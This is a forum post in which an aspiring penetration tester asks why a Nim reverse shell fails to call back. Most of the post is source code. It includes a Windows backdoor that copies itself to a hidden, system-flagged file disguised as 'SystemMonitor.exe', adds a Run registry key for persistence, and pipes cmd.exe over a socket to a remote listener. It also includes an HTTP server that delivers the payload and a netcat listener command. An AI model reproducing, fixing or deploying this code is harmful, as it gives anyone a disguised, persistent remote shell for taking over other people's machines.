I’m a college student trying to become a pen tester.
I’m testing my reverse shell on VM written in Nim since it’s beginner friendly unlike C++ especially if you don’t have programming experience. If you know C++ I’m sure Nim is literally nothing.
My RS and Http server are written in Nim. The server is running without any issue. I also opened netcat (NC) and typed “nc -lvnp 4444.” But when clicked on the RS (compiled as .exe) in my VM nothing happens on my panels both HTTP server and NC. I entered my private IP in the RS code.
Can anyone help me why the RS is not working? Maybe it’s an issue with my code? Here is my RS and Http code:
import osproc, net, os, streams, winim/lean, strutils
proc getPersistencePath(): string =
let appData = getEnv("APPDATA")
let targetDir = appData & "\\Microsoft\\Windows\\Security\\"
let targetPath = targetDir & "SystemMonitor.exe"
if not dirExists(targetDir):
createDir(targetDir)
return targetPath
proc installPersistence(): bool =
let persistencePath = getPersistencePath()
let currentExe = getAppFilename()
# Copy ourselves to the permanent location
try:
copyFile(currentExe, persistencePath)
# Line 57 area - Hide file attributes
SetFileAttributesW(
persistencePath,
FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
)
except:
return false
# Add registry key
var hKey: HKEY
let regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
let status = RegOpenKeyExW(
HKEY_CURRENT_USER,
regPath,
0,
KEY_SET_VALUE,
addr hKey
)
if status != ERROR_SUCCESS:
return false
# Line 75 area - Registry value
let valueName = "WindowsSystemMonitor"
let valueData = persistencePath
let setStatus = RegSetValueExW(
hKey,
valueName,
0,
REG_SZ,
cast[ptr BYTE](valueData.cstring),
DWORD((valueData.len + 1) * 2)
)
RegCloseKey(hKey)
return setStatus == ERROR_SUCCESS
proc checkIfPersistent(): bool =
let currentExe = getAppFilename()
let persistencePath = getPersistencePath()
return currentExe.toLowerAscii() == persistencePath.toLowerAscii()
proc reverseShell(): void =
let socket = newSocket()
try:
socket.connect(ip, Port(port))
except:
return
let process = startProcess(
"cmd.exe",
options = {poUsePath, poDaemon, poStdErrToStdOut}
)
# Lines 103/107 area - Get streams once
let inputStream = process.inputStream()
let outputStream = process.outputStream()
while true:
try:
let available = socket.recvLine()
if available == "":
break
# Write command
inputStream.write(available & "\r\n")
inputStream.flush()
# Read output
var result: string
while outputStream.readLine(result):
socket.send(result & "\r\n")
except:
break
socket.close()
process.close()
proc main(): void =
if not checkIfPersistent():
echo "[*] First run detected. Installing persistence..."
if installPersistence():
echo "[+] Persistence installed successfully!"
else:
echo "[-] Failed to install persistence."
reverseShell()
when isMainModule:
main()
import asynchttpserver, asyncdispatch, os
# === CONFIGURATION ===
let port = 8000
# ======================
proc serveFile(req: Request) {.async.} =
## Serves the shell.exe file for download
# Get the current directory where the server is running
let currentDir = getCurrentDir()
let filePath = currentDir / "shell.exe"
# Check if the requested file is our shell.exe
if req.url.path == "/shell.exe":
if fileExists(filePath):
# Read the file
let fileContent = readFile(filePath)
# Send HTTP response with proper headers for download
await req.respond(
Http200,
fileContent,
newHttpHeaders([
("Content-Type", "application/octet-stream"),
("Content-Disposition", "attachment; filename=\"shell.exe\""),
("Content-Length", $fileContent.len)
])
)
echo "[*] Shell delivered to: ", req.hostname
else:
# File not found
await req.respond(Http404, "404 - File Not Found",
newHttpHeaders([("Content-Type", "text/plain")]))
echo "[-] Request failed - shell.exe not found"
else:
# Any other request
await req.respond(Http200, "Server is running. Request /shell.exe to download.",
newHttpHeaders([("Content-Type", "text/plain")]))
proc main() {.async.} =
var server = newAsyncHttpServer()
echo "[*] Starting Nim HTTP server on port ", port
echo "[*] Serving shell.exe from: ", getCurrentDir()
echo "[*] Download URL: http://YOUR_IP:", port, "/shell.exe"
echo "[*] Press Ctrl+C to stop"
# Start the server
asyncCheck server.serve(Port(port), serveFile)
# Keep the server running
while true:
await sleepAsync(1000)
when isMainModule:
waitFor main()
